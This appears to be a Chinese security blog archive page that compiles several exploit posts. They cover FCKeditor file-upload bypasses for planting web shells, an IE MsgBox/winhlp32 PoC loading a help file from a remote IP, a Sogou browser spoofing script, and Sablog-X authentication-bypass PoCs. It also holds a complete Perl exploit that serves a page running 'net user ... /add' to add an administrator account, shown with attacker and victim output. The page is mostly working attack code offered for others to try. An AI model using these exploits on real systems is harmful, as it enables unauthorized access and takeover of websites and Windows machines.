Safe3 SQL Injector 3.0免费版已关闭评论 来源：woyigui
大牛的作品应该很不错
以下是功能介绍
1.全面支持HTTP类型
* 支持HTTP 1.0/1.1；
* 支持POST/GET /Cookie方法；
* 支持Basic/NTLM /Digest验证；
* 支持基于公钥或者私钥的 SSL；
* 支持MS Access；
* 支持MS SQL Server；
* 支持Mysql Server；
* 支持Oracle Server；
* 支持Postgre SQL Server；
* 支持 Informix SQL Server；
* 支持Sybase …
Internet Explorer的’winhlp32.exe中’MsgBox（）’远程执行代码漏洞已关闭评论 测试代码：
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
<html> <script type="text/vbscript"> big = "\\184.73.14.110\PUBLIC\test.hlp" //For i=1 to 2500 // big = big & "\..\" //Next MsgBox "please press F1 to save the world", ,"please save the world", big, 1 MsgBox "press F1 to close this annoying popup", ,"", big, 1 MsgBox "press F1 to close this annoying popup", ,"", big, 1 </script> </html> |
这个代码利用起来比较麻烦需要诱导别人按F1键才可以
HLP文件 msgbox_test_help
貌似国内的XX操作系统里边都没有帮助文件！
Fckeditor漏洞利用方法总结已关闭评论 查看编辑器版本
FCKeditor/_whatsnew.html
—————————————————————————————————————————————————————————————
2. Version 2.2 版本
Apache+linux 环境下在上传文件后面加个.突破！测试通过。
—————————————————————————————————————————————————————————————
3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制，导致用户上传任意文件！将以下保存为html文件，修改action地址。
<form id=”frmUpload” enctype=”multipart/form-data”
action=”http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media” method=”post”>Upload a new file:<br>
<input type=”file” name=”NewFile” size=”50″><br>
<input id=”btnUpload” type=”submit” value=”Upload”>
</form>
—————————————————————————————————————————————————————————————
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法
很多时候上传的文件例如：shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。
4.1：提交shell.php+空格绕过
不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。
4.2：继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹，只检测了第一级的目录，如果跳到二级目录就不受限制。
—————————————————————————————————————————————————————————————
5. 突破建立文件夹
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
—————————————————————————————————————————————————————————————
6. …
搜狗浏览器“页面欺骗”漏洞已关闭评论 作者：xisigr
测试版本：搜狗浏览器版本：1.4.0.418(正式版)
漏洞成因：在搜狗浏览器中，window.location和document.write两个函数发生条件竞争阻 塞。“window.location”函数使URL中显示到一个地址域，同时页面元素却可以被“document.write”函数所改写。这样导致攻 击者可以篡改页面，来实施钓鱼欺骗攻击。
效果图：
测试代码：
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
<span style="color: #ff0000;"><center> <h1>SogouExplorer spoofing</h1> </center> <p> <a href="javascript:spoof()">test!</a> <p> <script> function spoof() { window.location = "http://www.google.com"; document.write("<title>Google</title>"); document.write("<h1>FAKE PAGE</h1>"); document.write("xisigr[xeye]"); } </script></span> |
Sablog-X 2.0 后台管理权限欺骗漏洞已关闭评论 作者：Ryat
前不久80vul公布了sax2.0的一个漏洞,随后4ngel发布了补丁,不过权限验证部分的代码还是存在问题,下面就来简单说说这个漏洞:D
|
1 2 3 4 5 6 7 8 9 10 |
// cp.php if (!$sax_uid || !$sax_pw || !$sax_logincount || !$sax_hash) { // 只要这个条件不满足,就可以通过后台的权限验证了 loginpage(); } ... if ($sax_group == 1) { // 如果要获得管理员权限,还必须保证$sax_group的值为1 ... |
下面来看下这几个变量是怎么来的
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 |
// common.inc.php list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE['sax_auth'] ? explode("\t", authcode($_COOKIE['sax_auth'], 'DECODE')) : array('', '', ''); // authcode()就是简单的调用base64_decode $sax_hash = sax_addslashes($_COOKIE['sax_hash']); // 这些变量来自$_COOKIE,是可以控制的:) // 不过后面的代码在一定条件下会通过extract($_EVO)来重新注册这些变量 $sax_uid = intval($sax_uid); $sax_pw = sax_addslashes($sax_pw); $sax_logincount = intval($sax_logincount); $sax_group = 4; // 默认的值为4,而我们需要的值是1 $_EVO = array(); // 这里是fix那个变量覆盖的漏洞:) $seccode = $sessionexists = 0; $userfields = 'u.userid AS sax_uid, u.username AS sax_user, u.password AS sax_pw, u.groupid AS sax_group, u.logincount AS sax_logincount, u.email as sax_email, u.url as sax_url, u.lastpost, u.lastip, u.lastvisit, u.lastactivity'; // 这里定义的字段包括sax_user、sax_pw、sax_group、sax_logincount,这些都是后台权限验证时要用到的 if ($sax_hash) { if ($sax_uid && $sax_pw) { // 流程[1] // 这里会查询sax_group,但如果我们想让查询出的值为1[也就是说查询出管理员的信息],就必须知道管理员的sax_hash、sax_pw、sax_logincount等多个值 $query = $DB->query("SELECT s.hash, s.seccode, $userfields FROM {$db_prefix}users u LEFT JOIN {$db_prefix}sessions s ON (s.uid = u.userid) WHERE s.hash='$sax_hash' AND u.userid='$sax_uid' AND CONCAT_WS('.',s.ip1,s.ip2,s.ip3,s.ip4)='$onlineip' AND u.password='$sax_pw' AND u.logincount='$sax_logincount' AND s.auth_key='$sax_auth_key'"); } else { $query = $DB->query("SELECT hash,uid as sessionuid,groupid,seccode,lastactivity FROM {$db_prefix}sessions WHERE hash='$sax_hash' AND CONCAT_WS('.',ip1,ip2,ip3,ip4)='$onlineip' LIMIT 1"); // 流程[2] // 如果我们知道管理员的sax_hash和onlineip,就可以使下面的$_EVO['sessionuid']的值为管理员的id } if ($_EVO = $DB->fetch_array($query)){ $sessionexists = 1; if($_EVO['sessionuid']) { // 流程[3] $query = $DB->query("SELECT $userfields FROM {$db_prefix}users u WHERE u.userid='".intval($_EVO['sessionuid'])."'"); $_EVO = array_merge($_EVO, $DB->fetch_array($query)); // 这里查询的数据会合并到$_EVO,而我们只要能控制$_EVO['sessionuid']的值为1[假设我们要查询的管理员id为1],就可以查询出正确的管理员信息,这样就可以保证sax_group的值为1了 $sax_uid = $_EVO['userid']; } } else { if($_EVO = $DB->fetch_one_array("SELECT hash,groupid,seccode,lastactivity FROM {$db_prefix}sessions WHERE hash='$sax_hash' AND CONCAT_WS('.',ip1,ip2,ip3,ip4)='$onlineip'")) { dcookies(); $sessionexists = 1; } } } ...... @extract($_EVO); |
由上面的代码可以看到,如果我们知道session表中uid为1的数据的sax_hash和onlineip,通过流程[2][3]就可以查询出正确的管理员信息,再通过extract($_EVO)注册变量,就可以通过后台的验证,获得管理员权限了:)
那么我们如何知道正确的sax_hash和onlineip呢？
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
// global.func.php function updatesession() { ... replacesession(1); ... } ... function replacesession($insert = 0) { ... $ips = explode('.', $onlineip); ... $DB->query("INSERT INTO {$db_prefix}sessions (hash, auth_key, ip1, ip2, ip3, ip4, uid, groupid, lastactivity, seccode, is_robot) VALUES ('$sax_hash', '$sax_auth_key', '$ips[0]', '$ips[1]', '$ips[2]', '$ips[3]', '$sax_uid', '$sax_group', '$timestamp', '$seccode', '".IS_ROBOT."')"); ... |
replacesession()函数为我们提供帮助,因为$sax_hash、$sax_uid、$onlineip这些变量是可以控制的,所以我们可以向session表中出入一条uid为1的数据:)
首 先我们使$sax_uid为1,$sax_pw为空,这样就会跳过流程[1]执行流程[2],这时我们的sax_hash和onlineip在 session表中并不存在,所以流程[3]不会执行,通过extract($_EVO)注册变量时也不会重新注册$sax_uid、$sax_hash 和$onlineip,这样我们就可以通过updatesession()函数向session表中插入一条uid为1同时sax_hash和 onlineip也是我们知道的数据了
然后我们重新执行上面的过程,因为这时session表里已经有了我们需要的数据了,流程[3]将被执 行,user表中uid为1的管理员数据将被查询出并合并到$_EVO,并通过extract()重新注册变量[$sax_group的值将被重新注册为 1],这样我们就可以通过后台权限验证,并获得管理员权限了:)
PoC:
|
1 2 3 4 |
GET /cp.php HTTP/1.1; Host: 127.0.0.1 Connection: Close Cookie: sax_auth=MQkJ;sax_hash=abcdef; |
IE6/7远程执行代码（远程添加用户漏洞）已关闭评论 利用代码：
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 |
#!/usr/bin/perl use strict; use Socket; use IO::Socket; print "\n"; print "800008 8 \n"; print "8 e eeeee eeeeeee eeeee 8 eeeee eeeee eeeee\n"; print "8eeeee 8 8 88 8 8 8 8 8 8e 8 8 8 8 8 | \n"; print " 88 8e 8 8 8e 8 8 8eee8 88 8eee8 8eee8e 8eeee \n"; print "e 88 88 8 8 88 8 8 88 8 88 88 8 88 8 88 \n"; print "8eee88 88 8eee8 88 8 8 88 8 88eee 88 8 88eee8 8ee88 \n"; print "-----------------------------------------------------------\n"; print " Useage : $0 Port \n"; print " Please Read the Instruction befor you use this \n"; print " ---------------------------------\n"; sub parse_form { my $data = $_[0]; my %data; foreach (split /&/, $data) { my ($key, $val) = split /=/; $val =~ s/\+/ /g; $val =~ s/%(..)/chr(hex($1))/eg; $data{$key} = $val;} return %data; } my $port = shift; defined($port) or die "Usage: $0 Port \n"; mkdir("public_html", 0777) || print $!; my $DOCUMENT_ROOT = $ENV{'HOME'} . "/public_html"; print " [+] Account Name : "; chomp(my $acc=<STDIN>); print " [+] Account Password : "; chomp(my $pass=<STDIN>); print " [+] Your IP : "; chomp (my $ip=<STDIN>); #------------- Exploit ----------------- my $iexplt= "public_html/index.html"; open (myfile, ">>$iexplt"); print myfile "<html>\n"; print myfile "<title> IE User Add Test </title>\n"; print myfile "<head>"; print myfile "</font></b></p>\n"; print myfile "<p>\n"; print myfile "<object classid='clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8' id='exploit'\n"; print myfile "></object>\n"; print myfile "<script language='vbscript'>\n"; print myfile "adduser="; print myfile '"cmd'; print myfile " /c net user $acc $pass /add && net localgroup Administrators $acc "; print myfile '/add"'; print myfile "\n"; print myfile "exploit.run adduser \n"; print myfile "\n </script></p>\n"; print " [+] ----------------------------------------\n"; print " [-] Link Genetrated : http://$ip:$port/index.html\n"; close (myfile); #------------------------------------ my $server = new IO::Socket::INET(Proto => 'tcp', LocalPort => $port, Listen => SOMAXCONN, Reuse => 1); $server or die "Unable to create server socket: $!" ; while (my $client = $server->accept()) { $client->autoflush(1); my %request = (); my %data; { local $/ = Socket::CRLF; while (<$client>) { chomp; if (/\s*(\w+)\s*([^\s]+)\s*HTTP\/(\d.\d)/) { $request{METHOD} = uc $1; $request{URL} = $2; $request{HTTP_VERSION} = $3; } elsif (/:/) { (my $type, my $val) = split /:/, $_, 2; $type =~ s/^\s+//; foreach ($type, $val) { s/^\s+//; s/\s+$//; } $request{lc $type} = $val; } elsif (/^$/) { read($client, $request{CONTENT}, $request{'content-length'}) if defined $request{'content-length'}; last; } } } if ($request{METHOD} eq 'GET') { if ($request{URL} =~ /(.*)\?(.*)/) { $request{URL} = $1; $request{CONTENT} = $2; %data = parse_form($request{CONTENT}); } else { %data = (); } $data{"_method"} = "GET"; } elsif ($request{METHOD} eq 'POST') { %data = parse_form($request{CONTENT}); $data{"_method"} = "POST"; } else { $data{"_method"} = "ERROR"; } my $localfile = $DOCUMENT_ROOT.$request{URL}; if (open(FILE, "<$localfile")) { print $client "HTTP/1.0 200 OK", Socket::CRLF; print $client "Content-type: text/html", Socket::CRLF; print $client Socket::CRLF; my $buffer; while (read(FILE, $buffer, 4096)) { print $client $buffer; } $data{"_status"} = "200"; } else { print $client "HTTP/1.0 404 Not Found", Socket::CRLF; print $client Socket::CRLF; print $client "<html><body>404 Not Found</body></html>"; $data{"_status"} = "404"; } close(FILE); print ($DOCUMENT_ROOT.$request{URL},"\n"); foreach (keys(%data)) { print (" $_ = $data{$_}\n"); } close $client; # Sioma Labs # http://siomalabs.com # Sioma Agent 154 } #Instructions #----------- # # This has been tested on windows envirnment(VisTa) . and the victom OS was windows xp sp2 ( InterNET eXplorer 7 ) # To use this on remote PC the generated link should be on victims trusted site list (tools >Internet Option> Security > Trusted Site> Sites) # No requrement to run it locally . just open the exploit(public_html/index.html) with the IE # Test Run ( Used OS : Vista) / ( Victim Os : XP SP2 ) # ------------------------------------------------------------- |
将上面的代码保存成ie.pl就可以了，现在我们来看一下代码中的说明部分
首先测试者用的是Vista的系统，测试对像用的是XP SP2 IE7
我们要在受害者的电脑上生成一个受信任的网站链接，这里你可以在IE-工具-Internet选项-安全-受信任站点中添加。
不用在本地运行，只要用IE打开有该漏洞代码的网页即可。
这里我再说明一下，这段代码保存后会被NOD32查杀
下面我们来看看攻击过程
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 |
# ------------------------------------------------------------- # # Attacker # ============= # # # E:\>ie.pl 123 # #800008 8 #8 e eeeee eeeeeee eeeee 8 eeeee eeeee eeeee #8eeeee 8 8 88 8 8 8 8 8 8e 8 8 8 8 8 | # 88 8e 8 8 8e 8 8 8eee8 88 8eee8 8eee8e 8eeee #e 88 88 8 8 88 8 8 88 8 88 88 8 88 8 88 #8eee88 88 8eee8 88 8 8 88 8 88eee 88 8 88eee8 8ee88 #----------------------------------------------------------- # Useage : E:\ie.pl Port # Please Read the Instruction befor you use this \n"; # --------------------------------- #[+] Account Name : test # [+] Account Password : test # [+] Your IP : 192.168.1.102 # [+] ---------------------------------------- # [-] Link Genetrated : http://192.168.1.102:123/index.html # #------------------------------------------------------------> # Not Tested on Linux ( Should Work on it too) # # # Victim #======== # Befor - # C:\>net user # #User accounts for \\PC-00583E3C730C # #------------------------------------------------------------------------------- #Administrator SiomaPC Guest #HelpAssistant SUPPORT_388945a0 #The command completed successfully. # # After - #C:\>net user # #User accounts for \\PC-00583E3C730C # #------------------------------------------------------------------------------- #Administrator SiomaPC Guest #HelpAssistant SUPPORT_388945a0 test #The command completed successfully. # #C:\> # ============================================================================ # The "test" user has been created successfully # # Delete The "Public_Html\index.html" If you use this for the 2nd time |
这就是整个具体的攻击过程有兴趣的朋友可以试下：）
无码套图已关闭评论 B (=8
B (==8
B (===8
B==8
B8
B==8
B (===8
B8
B==8
B (===8
B8
(B==8
B8
(B==8
B8
(B==8
**(==B8
…zzzZZZ
从马老大那转来的，自己看吧，发挥你的想像力！我想你能看明白的：）
Sablog-X v2.x 任意变量覆盖漏洞已关闭评论 作者：80vul-B
一 描叙：
由于Sablog-x v2.x的common.inc.php里$_EVO初始化处理存在逻辑漏洞，导致可以利用extract()来覆盖任意变量，最终导致xss、sql注射、代码执行等很多严重的安全漏洞。
二 分析
common.inc.php代码里：
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
.... $onoff = function_exists('ini_get') ? ini_get('register_globals') : get_cfg_var('register_globals'); if ($onoff != 1) { @extract($_COOKIE, EXTR_SKIP); @extract($_POST, EXTR_SKIP); @extract($_GET, EXTR_SKIP); } ... $sax_auth_key = md5($onlineip.$_SERVER['HTTP_USER_AGENT']); list($sax_uid, $sax_pw, $sax_logincount) = $_COOKIE['sax_auth'] ? explode("\t", authcode($_COOKIE['sax_auth'], 'DECODE')) : array('', '', ''); $sax_hash = sax_addslashes($_COOKIE['sax_hash']); ... $seccode = $sessionexists = 0; if ($sax_hash) { ... if ($_EVO = $DB->fetch_array($query)){ //$_EVO初始化过程在if ($sax_hash)里，如果这个if条件不满足，将跳过这个初始化过程。 ... } if(!$sessionexists) { if($sax_uid) { if(!($_EVO = $DB->fetch_one_array("SELECT $userfields FROM {$db_prefix}users u WHERE u.userid='$sax_uid' AND u.password='$sax_pw' AND u.lastip='$onlineip'"))) { ... @extract($_EVO); //覆盖任意变量 |
由上面的代码片断可以看到,只要使$sax_hash和$sax_uid的布尔值为fales,$_EVO就不会被赋值,而$sax_hash和$sax_uid这两个变量来自由$_COOKIE,这样我们可以很容易的控制$_EVO了,然后通过extract()来覆盖任意变量,这将导致xss、sql inj、代码执行等很多严重的安全漏洞:)
三 利用
下面给个后台权限欺骗的PoC:
|
1 2 3 4 5 6 7 8 9 10 11 12 |
POST http://127.0.0.1/sax/cp.php HTTP/1.1 Accept: */* Accept-Language: zh-cn Referer: http://127.0.0.1/sax/cp.php Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1) Host: 127.0.0.1 Content-Length: 138 Connection: Close _EVO[sax_uid]=1&_EVO[sax_pw]=1&_EVO[sax_logincount]=1&_EVO[sax_hash]=1&_EVO[sax_group]=1&_EVO[sax_auth_key]=1&_EVO[timestamp]=111111111111 |
|
1 |
至于怎么利用各位看观自己研究吧！ |
05 3月 2010 |
